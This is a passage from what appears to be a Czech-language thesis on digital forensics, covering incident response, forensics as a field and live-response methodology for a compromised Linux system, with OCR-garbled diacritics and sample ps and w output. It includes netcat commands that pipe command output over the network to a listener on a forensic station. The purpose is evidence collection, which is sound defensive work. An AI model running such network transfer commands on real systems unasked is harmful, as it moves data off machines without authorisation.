kategorizovat na mensi casti - jako napriklad politika pfistupu na Inter-
net, politika pristupu k vypocetnim prostredktim, politika uzivatelskych
pristupti, atd. Mezi jednotlivé aspekty takové politiky mtize patrit napri-
klad cas, kdy je povolen pristup na terminaly, kdo ma povolen vzdaleny
pristup, kdo muze manipulovat s konty uzivatelti, kdo ma pravo pouzivat
konto superuzivatele, jestli bude povoleno ICQ, atd.

Formulace strategie reakce na incident

Podle informaci a fakti dosud zaznamenanych je potreba zvolit vhodnou
strategii a vybrat nejlepsi variantu reakce na incident. Lze reagovat ruz-
nymi zptisoby. Napf. obnovou operacniho systému nebo jen urcitych dat.
Dalsimi aspekty jsou, zdali nechat takovy systém pripojeny do sité, Ci
nikoli. V nékterych situacich, kdy napf. na systému zavisi jiné sluzby a
musi tedy dodrzet urcitou miru dostupnosti, je potreba jej neodpojovat.
se pres sit’ vyskytne incident jiny (na puvodnim incidentu zavisly nebo
nezavisly). Online reakce se také vyuziva napr., kdyz je potreba utocnika
identifikovat.

Forenzni duplikace kritickych dat

Tento krok je jiz soucasti samotné forenzni analyzy digitalnich dat. V
tomto kroku se musi rozhodnout, zdali bude vytvorena kopie diikazniho

16
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média pro pozdejsi zkoumani nebo budou dukazy ziskany primo. Mezi
nejbéznejsi zkoumana média budou jisté patrit pevné disky. Nez vibec
bude vytvorena kopie disku, méla by vySetrovatele zajimat docasna data
- tzn. zkoumany pocitat by mél ztistat po detekovani incidentu ve fazi za-
pnuto. Vypnutim ¢i restartovanim pocitace tato data a pripadné i poten-
cialni dikazy ztratime. OvSem toto predstavuje praci na "Zivém" systému
a my jakozto vysetrovatelé mtiZzeme potencialni diikkazy nechténé znehod-
notit. Mezi tato data patfi napr. obsah vyrovnavaci a operacni pameéti,
informace o sitovych spojenich, informace o bézicich procesech, atd.

Pokud to podminky umoznuiji, je vyhodné a casto pro pozdé€jsi analyzu
dikazt nutné, vytvorit tzv. forenzni duplikaci zkoumaného média (pres-
néji zkoumanych dat na médiu). Samozrejmé zdali tento krok vysetrovatel
podnikne zalezi napriklad na mnozstvi casu, ktery pro vySetrovani ma a
nebo jestli je vabec technicky mozné takovou duplikaci provést. Tento
krok se provadi proto, aby nebyl znehodnocen ptvodni zdroj dikaza -
napr. prepsanim pristupovych c¢ast souborti. Ne nadarmo se forenzni
analyze pocitact a pocitacovych systému rika "pitva systému". Mozna by
zde Slo pouzit izkou asociaci s chirurgem, ktery operuje zivy organismus.
Takovy clovek je pod mnohem vétsim tlakem a muze cokoliv nenavratné
zkazit. Kdezto takovy patolog uz na chodu organismu (systému) nic ne-
zkazi, fadné receno.

K forenzni duplikaci se pouziva Siroké portfolium nastrojii od jedno-
duchych unixovych programt az po tézkotonazni komercni softwarové
baliky, které vétSinou umi vice nez pouhé zkopirovani obsahu disku. Po-
drobnéji je forenzni duplikace popsana v kapitole 4 "Metodika forenzni
analyzy unixového systému".

Patrani

V tomto kroku se provadi analyza dat za ucelem vysSetreni toho, co se
stalo, popr. co nebo kdo incident zptsobil. K vyhledavani konkrétnich
dukazu se pouzivaji dva druhy analyz. Prvni je analyza fyzicka, ktera ma
za ukol najit napriklad urcity retézec (URL, e-mailové adresy, atd.) z ob-
sahu disku - a to v ramci vSech sektorti disku. Strucné receno bere se
celé médium jako celek.

Zatimco logicka analyza spociva uz v analyze jednotlivych souborti.
Fyzicka analyza musi samoziejmé pocitat s odhalovanim dat z neobsa-
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zeného diskového prostoru nebo z tzv. slack prostorti (alokovana pamet
existujicich soubort, kde jsou uloZzeny fragmenty dat - resp. pameét’ zaci-
najici od konce paméti alokovaného souboru do konce alokacni jednotky),
kde zapisovana data nedosahuji ani minimalni velikosti bloku defino-
vaného operacnim systémem. Nebo také s odhalovanim latentnich dat,
které predstavuji smazané soubory nebo soubory castecné prepsané. Lo-
gicka analyza spociva uz v analyze jednotlivych oddilti disku - zatimco fy-
zicka analyza pracuje se "syrovymi" daty, logicka analyza uz bere v potaz
pouzity souborovy systém. Zde mnoho vySetrovateli déla nejvice chyb,
kdyz znehodnoti dukazy napr. prepsanim casovych znamek souborti.

Dalsi kroky reakce na incidenty shrnu uz jen velmi struc¢né. Imple-
mentace bezpecnostnich opatreni znamena zamezeni Sireni incidentu na
dalsi systémy izolovanim systému postiZzenych incidentem. Monitorovani
sité za ucelem pruzkumu, popf. eliminace incidentu. Obnovou je mys-
leno navraceni systému do ptuvodniho funkcéniho stavu. Protokolovani
znamena celkova dokumentace vSech Cinnosti, které byly se zkoumanym
médiem podniknuty. Napravit vSechny nedostatky, diky nimz incident
vznikl, ma za ukol krok pouceni.
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Kapitola 3

Forenzni analyza digitalnich dat
jako védni obor

Forenzni analyza digitdlnich dat je v porovnani s jinymi relativné mlada
véda. Rika se, Ze to neni ani tak véda jako spiSe uméni. Nicméné toto tvr-
zeni bych nebral nijak vazneé, protoze o jaké védeé se to rici neda. Kdybych
meél byt historicky presny, tak bych mél uvést, Ze tato véda a jeji vlastni
nazev vlastné vznikly z ptvodniho terminu pocitacovd forenzni analyza,
ktera zkoumala pouze pocitace. Forenzni analyza digitalnich dat se za-
byva digitalnimi technologiemi ve vSech rtiznych podobach.

Michael A. Coloyannides [8] definoval forenzni analyzu jako souhrn
technik a nastroji k hledani diikaz(i na pocitaci. Forenzni analyzu digi-
talnich je zase definovana jako uziti védecky odvozenych a osvédcenych
metod k izolovani (ochrane¢), sbéru, zhodnoceni, identifikaci, analyze, in-
terpretaci, dokumentaci a prezentaci digitalnich diikazu ze zdroju digital-
nich dat s cilem usnadnéni rekonstrukce udalosti shledanych zlocinnymi
nebo k odhaleni neautorizovanych akci, které ptisobi rusiveé na planovany
béh operaci. [9] Podobnych definic bylo vytvoreno vice. V zasadé se vSak
nelisi. Pokud neni néjaka zvlastni potreba tyto terminy rozliSovat, pova-
Zujl se za synonyma.

Laickou reci vyjadreno, tato véda analyzuje jakakoliv digitalni data s
cilem urcit, co se stalo, kdy se to stalo, jak se to stalo a koho se to tyka.
Metodologicky je to podobné jako kdyz se vySetruje jiny incident ve fyzic-
kém svété - napr. vrazda nebo loupez. Slozky zkoumajici tyto incidenty
také bude zajimat co se stalo, kdy se to stalo, atd. V digitalnim svété jsou
tyto informace casto skryty v podobé smazanych soubort, fragmentt dat
uloZzenych v alokované pameéti existujicich souboru (tzv. slack space), dat
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ulozenych v docasné pameéti RAM nebo v podobé zaznamu (logli) cinnosti
jednotlivych sluzeb, které na daném zarizeni bézi. Proto jsou potreba k
ziskani téchto informaci a dikazu specialni nastroje, znalosti a zkuSe-
nosti. Stejné jako kdyz v ramci néjakého pripadu bude nalezena kulka ze
strelné zbrané a bude potreba ji identifikovat. Tuto praci nemuze udélat
jakykoliv clen zainteresovany v takovém pripadu, ale pouze odbornik na
balistiku.

Blize vysvétlim, co jednotlivé body definice znamenaji. Izolovdani a ochr-
ana ditkazu znamena, ze pro nasledujici sbér a analyzu digitalnich dat je
potreba zachovat jejich sterilitu - tzn. musime zabranit jejich pozménéni
Ci ztraté. V praxi se to vétSinou realizuje tzv. forenzni duplikaci zkouma-
ného digitalniho média. Zkoumani pak probiha na této kopii. Pokud neni
mozné forenzni duplikaci provést, lze napr. nastavit dané médium tak,
aby bylo jen ke cteni a tudiz na n¢j nebyl umoznén zapis.

Sbér dilkazii znamena vyextrahovani dikazt z pivodniho pracovniho
média na jiné médium nebo do formy vhodné pro tisk. A také nasledné
overeni, zdali pri jejich extrahovani nedoslo k jejich modifikaci - tzn. jestli
jsou originalni a extrahovana data totozna.

Identifikkace ditkazti znamena v pocatecni fazi identifikaci samotnych
relevantnich médii, na kterych by se mohly dulezité informace nachazet.
Podstatou je fakt, Ze samotné médium (pevny disk, USB flash disk, atd.)
neni samo o sobé dukazem, ale pouze zdrojem takovych dikazu. Ve fazi
analyzy se identifikuji jednotliva data a informacel]

Interpretace informaci, popripadé dikazd muze byt klicova. Diky vy-
soké dostupnosti softwarového vybaveni pro extrahovani takovych infor-
maci, mohou byt ziskany prakticky kymkoliv. Ale jejich spravné vylozeni
je véc druha.

Dalsi dulezitou casti je dokumentace ve smyslu zaznamenavani vseho,
co jakozto vySetrovatelé délame. Napriklad kvtli pripadnému dotazovani
na rizné podrobnosti u soudu. A uz z principu musi byt podrobné zrejmé,
jaké kroky byly pri manipulaci s diikaznim médiem podniknuty.

'Pro upresnéni bych mél uvést, ze mezi daty a informacemi je jisty terminologicky
rozdil. Informace jsou ziskavany z dat, tudiz kazdy z termint stoji na jiné urovni.
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Zjisténé skutecnosti je potreba v néjaké forme prezentovat. Tézko bu-
dete vrcholovému managementu sdélovat zjisténé skutecnosti napriklad
vypisem loguil aplikaci nebo na takové odborné urovni, Ze tomu manage-
ment prosté nebude rozumét. Takze je potreba prezentovat podstatné
skutecnosti a zavéry, pokud mozno bez technickych detailt, které jsou
v konecném dusledku zbytecné. Managementu sdeélte prosté napr. kdo
je za incident odpovédny, co bylo odcizeno, jaké jsou nasledky a Skody,
apod.

Obecny termin forenzni analyza digitalnich dat lze kategorizovat do
dalsich samostatnych podskupin jako napr. sitova forenzni analyza, ktera
se zabyva vyhradné vySetrovanim v oblasti pocitacovych siti, forenzni
analyza GSM, ktera bude zase zkoumat mobilni telefonni systém GSM,
nich systému - napr. forenzni analyza unixovych systému, forenzni ana-
lyza M'S Windows, apod.

Casto se proti sobé stavi terminy pocitac¢ova forenzni analyza a infor-
macni pocitacova analyza. Pokud by meély byt tyto dva terminy do du-
sledku rozliSeny, pak pocitacova forenzni analyza znamena pouze hrubé
ziskavani informaci z daného média. Zatimco informacni forenzni analyza
provadi jakousi analyzu ziskanych dat na vySsi urovni - vytvareni souvis-
losti, stanovovani zavéra, apod. Tyto rozdily jsou citelné predevsim v pro-
cesni metodice feseni pripaddl - napf. v Ceské republice mohou soudni
znalci provadét pouze pocitacovou forenzni analyzu. Informacni analyzu
pak provade¢ji napr. vysSetrovatelé. Pokud by znalci provadéli informacni
analyzu, mohlo by se to brat jako ovliviovani a zasahovani do vysetro-
vani.

RozIlisuji se dva typy vysetrovani. Prvnim je ten, kdy je pocitac nastro-
jem zlocinu (resp. incidentu - ne kazdy incident mutize byt klasifikovan
jako zlocin). V tomto pripadé dostane vysetrovatel ke zkoumani vétsinou
vypnuty pocitac nebo pouze média s potencialnimi diikazy. Druhy pripad
je ten, kdy je pocitac v roli obéti. V takovém pripade je dualezité, aby vy-
Setrovatel zajistil citliva data na zménu - tim jsou myslena docasna data
z pameéti RAM, bézici procesy, navazana sitova spojeni, apod. To prede-
vSim znamena, ze se pocitac po incidentu nesmi vypnout. Jinak nasledné
techniky ¢i metodologie forenzni analyzy jsou v obou pripadech stejné.
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Pokud je vySetrovan ne€jaky takovy incident, je casto potreba se ne-
koukat pouze na samotné digitalni médium, protoze klicové informace ¢i
diikazy mohou existovat napf. v podobé vypisu na monitoru, vystupu na
tiskarné nebo v podobé logti na externich prvcich sité - proxy servery,
firewally, smérovace, atd. Samotni vySetrovatelé museji samozrejme vy-
slechnout i osoby, které jsou s pripadem provazané. Metodicky postup
pri ohledavani mista ¢inu a zajiStovani dukazu vydava napr. americké
ministerstvo spravedlnosti [2]E]

Forenzni analyza digitalnich dat se uplatni nejen u kyberzlocinu, ale
velmi casto také v pripadech, kde pocitac v incidentu nehraje hlavni roli.
Kdyz napriklad policie ohledava byt, kde pobyval drogovy dealer a kde
se nasel kontraband, mél by policii zajimat i pocitac¢, ktery v této situaci
muze vypadat relativné nevinné. Stal se pripad, kdy byly nalezeny kom-
pletni informace o zakaznicich, dodavkach a dalsi pro pripad prospésné
informace. Nebo pripad z Jizni Dakoty roku 1999, kdy se naslo mrtvé
télo Zeny ve vané. Zena méla vysokou hladinu léku Temazepam (léky na
spani) v krvi. VSe nasvédcovalo tomu, Ze se jedna o sebevrazdu. A to az do
doby, kdy vySetrovatelé provedli analyzu pocitace, ktery patril manzelovi
zemrelé. Bylo zjiSténo, Ze manZel hledal informace o tom, jak bezbolestné
usmrtit cloveéka a také o prascich na spani a cisticich prostredcich. Tento
dikazni material dal celému pripadu zcela jiny rozmeér a de facto mohl
manzela poslat do vézeni. Bez prohledani dat v jeho pocitaci je realné
mozné, Ze by trestu unikl. Pocitacova forenzni analyza tedy slouzi také k
odhalovani a usvédcovani raznych typt pachatelt, nejen kyberzlocinct.
Dalsi znamé priklady vyuziti forenzni analyzy jsou uvedeny v kapitole 6
"Pocitacova forenzni analyza v praxi".

Samozrejmeé, ze tento vyzkum digitalnich dat se nedéla pouze v pri-
padech, kdy ma pripad skoncit pred soudem, ale napriklad pouze pro
odhaleni zodpoveédnych lidi za danou udalost (a pripadné jejich potres-
tani). OvSsem nikdy nemuzZeme vyloucit, Ze néjaky pripad pred soudem
neskonci - napriklad i proti svému zameéstnanci.

Je zrejmé, Ze odbornici na forenzni analyzu digitalnich dat museji mit
Siroké znalosti jak v oblasti hardwaru, tak v oblasti softwaru (operac-
nich systému, atd.) a ¢asto neni v silach jednoho clovéka vSechny tyto
dovednosti zvladnout. Odbornici v tomto oboru se uplatni napr. ve sloz-
kach hajicich pravo a jim pribuznych - policie, investigativni agentury

2Formalné je urceno pro tzemi USA.
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(CIA, FBI, apod.), soudni znalci, apod. Dalsi moznosti uplatnéni takovych
znalosti je v soukromych agenturach zabyvajici se informacni bezpec-
nosti, popr. primo forenzni analyzou. DalSimi sektory ptisobnosti mtize
byt napr. konzultacni a poradenska ¢innost v tomto oboru.
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Kapitola 4

Metodika forenzni analyzy
unixového systému

Nastane modelova situace, kdy je na systému néjakym zpusobem (neni
prilis podstatné jakym) zjiStén incident (napr. prinik nezvaného hosta).
VySetrovany pocitac je tedy v tomto pripadé obéti. V pripadé, ze by byl
systém vySetrovan jako nastroj zlocinu, postupovalo by se trochu jinak,
avsSak konkrétni operace vySetrovani linuxového systému ztistavaji stejné.
Vysetrovatel ma tedy pred sebou spustény pocitac, na kterém ma pro-
vézt investigativni prazkum, rekonstruovat udalosti, které se staly pred
a v prubéhu incidentu a vyextrahovat smysluplné informace k tomu, aby
mohly konat slozky pravni moci.

Podrobnym zkoumanim budou hledany neobvykl€é, podezrelé soubory,
procesy, nastaveni, apod. Je mozné, ze diky dokonalejsSimu maskovani
utocnikovych aktivit (napfr. pomoci rootkitl1), nic na prvni pohled vidét
nebude. Budou se muset zkouSet razné cesty, jak odhalit napt. oteviené
sitové sokety, bézici procesy, soubory, atd. Nebudu se nutné drzet néja-
kého postupu, ktery by mé vySetrovanim provedl krok po kroku, protoze
vySetrovatel casto musi improvizovat a vyuzivat svych predeslych zkusSe-
nosti. I kdyz nékteré postupy nelze chronologicky zameénovat! Na takova
mista upozornim. Muize se také stat, Ze vysetrovatel nebude moci vSechny
tyto operace pouzit a to napft. proto, ze to urcité opravnéné subjekty pro-
sté nedovoli - napr. kvali utajeni, firemnim tajemstvim, apod.
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4. Metodika forenzni analyzy unixového systému

4.1 Nezbytnosti pro vysetrovani

K priizkumu jsou potreba dvé zakladni véci - software, se kterym bude
provadéno vysSetrovani a prislusny hardware.

4.1.1 Potrebny software

VySetrovacim nastrojem bude opét linuxovy systém. V nékterych pripa-
dech pouze nékteré linuxové utility. Dtivodti, pro¢ misto ného nepouzivat
napr. systém MS Windows, je hned nékolik:

¢ Linux je minimalné invazivni
¢ Linux podporuje mnoho souborovych systému
* Linux nam dava plnou kontrolu

¢ Linux obsahuje tzv. loopback.

Linux neni invazivni systém. Tzn. Ze na rozdil od MS Windows lze
systém Linux nabootovat bez toho, aniz by automaticky pripojoval blo-
kova zarizeni, coz by mohlo znehodnotit dikazy na vySetrovaném médiu.
Umoznuje tedy bezpecné pripojeni blokovych zarizeni - pevnych disku,
USB flash disku, SecureDigital karet, atd. Tato zarizeni lze pripojit tak,
aby na né nebyl umoznén zapis, coz se pri vySetrovani velmi hodi.

Linux umoznuje analyzovat velké mnozstvi systému, protoze sam pod-
poruje mnoho souborovych systému - NTFS, ext2/ext3, VFAT, ReiserFS,
JFS, XFS, HFS+, atd. A dale také sitové souborové systémy NFS, AFS,
Coda, atd. Coz je samozrejmé pro vysSetrovani velmi mocna zbran. Jed-
nim systémem jsme schopni analyzovat mnoho jinych systému.

GNU/Linux obsahuje spousty malych aplikaci, které dohromady tvori
jeden velky celek - Linux Operating System Enviroment. Kazda z téchto
aplikaci je autonomni a to, ze lze ovladat samostatné kazdou z téchto
aplikaci, skriptt, apod., se pro vySetrovani velmi hodi. Dostava se nam
do rukou velmi mocny nastroj prikazové radky - shellu. Da se rici, ze v
Linuxu "je vSechno soubor" a to umoznuje kvalitni monitorovani a logo-
vani provadénych operaci a také plnou kontrolu nad témito operacemi.

Loopback (presnéji loopback zarizeni - v Linuxu tato zarizeni zastavaji
soubory /dev/loopO, /dev/loopl, atd.) umoznuje zachazet s regularnim
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souborem jako s blokovym zafizenim. Takovy soubor muZe byt pripojen
a analyzovan.

GNU/Linux je pro vySetrovani vzhledem ke svym vlastnostem vhodny.
MS Windows obsahuje kvalitni komeréni nastroje - EnCasel], Safeback?]
ale samotny systém se pro vySetrovani prilis nehodi. Neni tak flexibilni a
déla prilis véci automatizované, coz vysetrovateli zbytecné podrazi nohy.

Do Open Source vybaveni pro ucely forenzni analyzy digitalnich dat
investovaly nékteré firmy velké financni castky. Napr. firma [.LD.E.A.L.
Technology dostala federalni zakazku v hodnoté 730 000 USD na vyvoj
zafizeni, urcené primarné pro vojenské ucely, které by mélo poskytovat
robustni analyzu digitalnich dat v terénu. Na toto zarizeni ma byt por-
tovana upravena verze operacniho systému Linux a dalsi Open Source
softwarové vybaveni.

4.1.2 Potrebny hardware

Dale budeme potrebovat prislusny hardware. Za normalnich podminek si
osoba, provadéjici analyzu, vystaci se standardnim pocitacovym vybave-
nim, ale existuji i specializovana zarizeni na forenzni analyzu digitalnich
meédii. Jedna se o rizna mobilni a laboratorni zarizeni pro tvorbu digi-
talnich kopii, které dokazi cist prakticky ze vSech dostupnych médii pres
vSechna dostupna rozhrani.

Napr. forenzni stanice FRED (http://www.digitalintelligence.com/
products/fred/) od spolecnosti Digitall Intelligence je schopna ¢ist z médii
typu disket, 100/250/750 MB ZIP médii, CD-ROM, DVD-ROM, Compact
Flash, Micro Drives, Smart Media, Memory Stick, Memory Stick Pro, xD
Cards, Secure Digital Media, Multimedia Cards a volitelné i 4mm DAT
pasek. K dispozici ma diskovy prostor o velikosti 1,6 Terabajtt. Externi
zarizeni lze téz pripojit pres nespocet ruznych portt - jen ve zkratce Fi-
reWire, USB, DMA 33/66/100/133 Parallel ATA (IDE), Auxiliary DMA
33/66/100 Parallel ATA (IDE), Serial ATA (SATA), externi SATA port, atd.
Vidét ho 1ze na obrazku B.1 v priloze B. Cena tohoto stroje je 6 000 USD.

Zarizeni FRED ma i své "bratricky" - napt. FREDDIE je mobilni verze
laboratorni stanice FRED - obrazek B.2. Jedna se o jakysi velky laptop,

Thttp:/ /www.guidancesoftware.com
2http://www.forensics-intl.com
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ktery zase disponuje velkou Skalou moznych porta a ¢tecek médii. Jeho
cena je 8 000 USD. Nejmocnéjsimi zarizenimi této rady jsou FRED-M (ob-
razek B.3) v hodnoté 14 200 USD a FREDC Standard, u kterého neni cena
pevneé stanovena. Tato zafizeni jiZ splnuji nejvyssi naroky pro forenzni vy-
Setrovani.

Zajimavym mobilnim zafizenim je ImageMASSter Solo-3 Forensid’| od
spolecnosti Intelligent Computer Solutions, Inc. Toto zarizeni zvladne ko-
pirovat data ze zakladnich rozhrani IDE, serial ATA, SCSI ¢i flash karet.
Data lze také prenaset pres FireWire nebo USB2 port. Data 1ze kopirovat
na dva pevné disky simultanné. Prodava se za cenu 2 495 USD.

Bézné lze najit spousty dalSich prodejct, kteri prodavaji rdzné mo-
difikované pocitace, toolkity, specialni kabelaz pro forenzni vySetrovani
nebo mala zarizeni urcena vyhradné pro bezpecné vytvareni bitovych ko-
pil zkoumanych meédii jako napr. zarizeni HardCopy II Drive Imaging Sys-
tent’] v hodnoté 1 319 UDS ¢i DK-9 Removable Hard-Drive Enclosurel?

4.2 Ziskani nestalych dat

Pri analyze "Zivého" systému je potreba se drzet predevsim dvou zasad.
Za prvé, co nejméne verit poSkozenému systému. A za druhé se snazit, co
nejméne modifikovat poskozeny systém.

Po identifikaci typu napadeného systému (ve zde demonstrovaném pfi-
kladu se jedna o GNU/Linux), by méla byt ziskana nestala data. Je otaz-
kou, zdali systém odpojit od sité, ¢i nikoliv. Nékteré rootkity dokazi roz-
poznat, zdali je systém k siti pripojen a v pripadeé odpojeni spusti jakousi
autodestrukci (rika se tomu deadman switch), ktera odstrani stopy po
utocnikovi a to mtze hledani dikazi ztizit nebo uplné znemoznit. Pokud
vSak systém odpojen nebude, nemiZeme zajistit casovou integritu - utoc-
nik muiZe nekalou ¢innost provadét dal. Na druhou stranu pri neodpojeni,
mohou byt sledovany utocnikovy kroky.

Tato data mohou byt zjisténa tak, Ze se provede prihlaseni do zkou-
maného systému pres konzolu (pokud neni systém od sité odpojen, tak

Shttp://www.icsforensic.com/index.cfm/action/product.show/id_product/e9ee9ade-
236e-40fa-97f9-5adaed3b6cfb

“http:/ /www.forensicpc.com/proddetail.asp?prod=HARDCOPY2

Shttp:// www.firewiregear.net/productdetails1.cfm?sku=DK-9U2F&cats=555
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by prihlaseni pres sit nemeélo byt pouzivano, protoze utocnik muze sle-
dovat podniknuté kroky a je tim vytvaren zbytecny sitovy provoz) a po-
moci standardnich linuxovych utilit, prfikazt jsou tyto informace vyex-
trahovany. Jenze co kdyz utocnik tyto binarni soubory pozmeénil tak,
aby ukazovaly jiné informace nez jsou skutecné. Tato cinnost patii ke
standardnimu vybaveni rootkiti. VySetrovatel by pouzil napr. prikaz ps,
ale utocniktv proces, kterym napr. odchytava sitovy provoz, by se mu
nezobrazil. Programim na vySetrovaném pocitaci verit nelze. Jako vy-
Setrovatelé si tedy vytvorime vlastni sadu nastroju, jakysi toolkit, ktery
by meél obsahovat nastroje jako 1s, find, netstat, strings, more, script,
bash, dd, icat, pcat, gzip, lsof, df, last, modinfo, file, md5sum, ps, vim,
w, lsmod, pkginfo, netcat, cryptcat, strace, cat, rm, ifconfig, who, popr.
nékteré dalsi. Tyto programy by mély byt staticky zkompilované, aby ne-
byly zavislé na sdilenych knihovnach vySetrovaného systému. Tuto sadu
umistime na médium, které jsme schopni pripojit na zkoumaném poci-
taci - CD-ROM, USB flash disk, apod.

Pokud je spusténo rozhrani X Window, tak by mélo byt zavreno (rucné
nebo stiskem klaves Ctrl+Alt+Backspace) nebo prepnuto na virtualni kon-
zolu (stiskem klaves Ctrl+Alt+F2). X Window maji pro vysetrovatele neza-
douci vlastnosti a pokud neni systém odpojen od sité, mohl by utocnik
zaznamenavat nase stisky klaves. Na této konzole je potreba byt prihla-
Sen pod superuzivatelem root. Pfikaz pro pripojeni média s toolkitem by
vypadal takto:

/bin/mount -n -t ext2 /dev/sdal /mnt/usb

Provedlo se pripojeni zarizeni /dev/sdal, které odpovida blokovému za-
rizeni USB, do adresare /mnt/usb inkriminovaného systému. Pokud tento
adresar neexistuje, musi byt vytvoren.

Jako vySetrovatelé bychom meéli védét, co se timto prikazem v posko-
zeném systému modifikuje. Mtizeme to zjistit prikazem:

strace /bin/mount -n -t /dev/sdal /mnt/usb

Je zrejmé, Ze se zmeéni cas posledniho pristupu (tj. atime) u soubort
/etc/ld.so.cache, /1ib/tls/libc.so0.6, /usr/lib/locale/locale-archive, /etc/
fstab, /dev/sdal a /bin/mount. Pokud by nebyl uveden prepinac -n, tak se
jesté zmeéni atime, mtime (Cas posledni modifikace) a ctime (Cas posledni
zmeény meta-informaci) u souboru /etc/mtab.
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Pozn.: Nebudu vSude tyto zakladni linuxové operaci popisovat tak de-
tailné. Jak jsem uvedl v predmluvé, tato prace predpoklada alespon za-
kladni znalost administrace a uzivani systému GNU/Linux nebo jiného
unixového systému.

Nyni jiz Ize spustit duveryhodny prikazovy radek - /mnt/usb/bash. Je vy-
hodné si vSechny nastroje z toolkitu prejmenovat, ¢imz je zabranéno ne-
chténému spusténi nedtivéryhodného prikazu. Dejme tomu, Ze vSechny
prikazy budou mit pred vlastnim nazvem pismeno "f' - napf. misto who
bude fwho. KdyZ je pak nastavena proménna prostredi $PATH na tecku,
spusti se prikazem fwho duveéryhodny prikaz a prikazem who se spusti ne-
divéryhodny prikaz na zkoumaném systému.

Jesté poznamenam, kam a jak ulozit data ziskana pri pocatecni reakci.
Nejlepsi moznosti je data ulozit na externi médium. Dalsi z moznosti je
data bezpecné prenést po siti na forenzni stanici. Toto 1ze lehce realizovat
programem netcat. Na forenzni stanici nastavime prijimani dat takto:

nc -1 -p 5000 > dukazy

A na napadeném systému se vzdy pri prenaseni vystupu prikazu na
forenzni stanici doplni dany prikaz o:

| /mnt/usb/nc 192.168.0.3 5000 -w 3

Forenzni stanice ma IP adresu 192.168.0.3. Na forenzni stanici by mél
byt prikazem md5sum vytvoren hash souboru. Predevsim je nutné zamezit
jakémukoliv zbytecnému nebo nechténému ukladani dat na poskozeném
systému. To by mohlo prepsat potencialni diikazy na inkriminovaném
disku.

Ziskané informace lze pripadné ulozit i ru¢né - tzn. sejmutim obra-
zovky. VySetrovatel by se mél snazit, co nejméné modifikovat poSkozeny
systém a jeho stav. S tim souvisi peclivé dokumentovani jednotlivych
krokti, které jsou podnikany. Diky této dokumentaci je vySetfujici osoba
schopna identifikovat zmény, které jeji kroky na posSkozeném systému
zpusobily.

Muze se stat, ze nebudou tak idealni podminky, aby mohlo byt vySetfo-
vani uskutecnéno podle optimalniho postupu. Casto bude treba improvi-
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zovat a zvazovat kroky, které jsou podnikany. Kdyz jako vySetrovatelé ne-
budeme moci pripojit externi médium s nasimi divéryhodnymi nastroji,
budeme si muset vystacit s nastroji z poSkozeného systému. Moznosti je
i zkopirovat duvéryhodné nastroje pres sit. OvSem tim se mohou zne-
hodnotit cenné informace prepsanim pameéti. Nékdy je lepsi néktery krok
vynechat, nez riskovat znehodnoceni diikazu jeho pouzitim.

Béhem ziskavani téchto docasnych dat je nutné zaznamenavat vse ne-
obvyklé, ceho si v systému vySetrovatel vSimne. Prvni véci, kterou by mél
vySetrovatel zaznamenat, je nastaveni casu (ve formatu UTC - Coordina-
ted Universal Time) na zkoumaném systému prikazem date - 1épe duvery-
hodnou variantou fdate:

fdate -u

Cas hraje pfi vysetfovani duleZitou roli - stejné jako ¢as umrti ve fy-
zickém svéte. Casto musi byt srovnavany logy raznych poéitaéti napt. za
ucelem identifikace pocitace, ktery se "nékam" pripojoval. Pokud nebu-
deme mit jasno o nastaveni casu na jednotlivych pocitacich, nemusime
se cile nikdy dopatrat, protoze logy do sebe prosté nebudou pasovat.

Pokud jsme identifikovali jednotlivé oddily, sesbirame z nich meta-
informace o souborech:

/mnt/usb/fls -f linux-ext2 -r -m / /dev/hdal

Takto polozeny prikaz by mél zménit pouze atime u souboru /dev/hdal.
Dale je potfeba ziskat informace o prihlasenych uzivatelich{f]

root@victim:/mnt/usb# fw
16:32:47 up 1.:21, 5 users, load average: 0,00, 0,00, 0,00

USER TTY FROM LOGIN@ IDLE  JCPU PCPU WHAT
root ttyl - 15:11 1:20m 0.02s 0.02s -bash

root tty2 - 16:12 0.00s 0.07s 0.01s w

root tty3 - 16:30 1:41 0.03s 0.03s -bash

user pts/2 r60s06p09.home.n 16:23 9:00 0.01s 0.01s -bash

user pts/3 192.168.0.3 16:24 8:17 0.03s 0.03s -bash

Pole USER zobrazuje aktualné prihlaseného uzivatele. Pole TTY zob-
razuje druh terminalu prifazeny k relaci uzivatele. Terminaly oznacené
retézcem tty a Cislo, znamenaji lokalni konzolu. Pak pts/ a c¢islo (nebo

5Pozn.: Poskytované vypisy maji pouze ilustrativni charakter. Mohou byt obsahové
upraveny z diivodu spravného formatovani dokumentu.
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také ttyp a cislo) oznacuje sitové spojeni. Pole FROM pak znazornuje IP
adresu nebo nazev domény, odkud je uzivatel prihlasen. Pokud je pole
vyplnéno pomlckou, znamena to lokalni prihlaseni uzivatele. Uzivatele
prihlaseni do X Window maji zase v poli FROM :0.0 - X Window je vlastné
soketové pripojeni. Pole LOGIN@ pak znaci cas prihlaseni uzivatele. Vy-
znamy ostatnich poli Ize dohledat v manualovych strankach prikazu w.

Jiz zde lze zacit s identifikovanim podezrelych pripojeni. Podle toho, k
¢emu byl poSkozeny systém pouzivan a s konfrontaci s jejich spravci, lze
takové relace lehce vytipovat.

Dale se vyextrahuji bézici procesy. Zakladni prikaz by vypadal takto:

root@victim:/mnt/usb# fps -aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 00 0.0 480 228 ? S 15:11  0:04 init

root 2 00 0.0 0 02 SW 15:11  0:00 [keventd]

root 3 00 0.0 0 072 SWN 15:11 0:00 [ksoftirgd_CPUO]
root 4 0.0 0.0 0 072 SW 15:11  0:00 [kswapd]

root 5 00 0.0 0 072 S 15:11  0:00 [bdflush]

root 6 00 0.0 0 07? SW 15:11  0:00 [kupdated]

root 10 0.0 0.0 0 0 SW< 15:11  0:00 [mdrecoveryd]
root 35 0.0 00 0 072 SW 1511 0:00 [kapmd]

root 121 0.0 0.0 0 0? SW 15:11  0:00 [khubd]

rpc 552 0.0 0.1 1504 564 ? S 15:11 0:00 [rpc.portmap]
root 558 0.0 0.1 1424 612 ? S 15:11 0:00 /ustr/shin/syslogd
root 597 0.0 0.0 1360 460 ? S 15:11 0:00 /usr/sbin/klogd
root 599 0.0 0.1 1396 524 ? S 15:11  0:00 /usr/sbin/inetd
root 602 0.0 0.2 3044 1384 ? S 15:11 0:00 /usr/sbin/sshd

Ip 611 0.0 0.2 3348 1240 ? S 15:11  0:00 [Ipd]

root 614 0.0 0.1 1484 592 ? S 15:11  0:00 /usr/sbin/crond
daemon 616 0.0 0.1 1488 652 ? S 15:11  0:00 [atd]

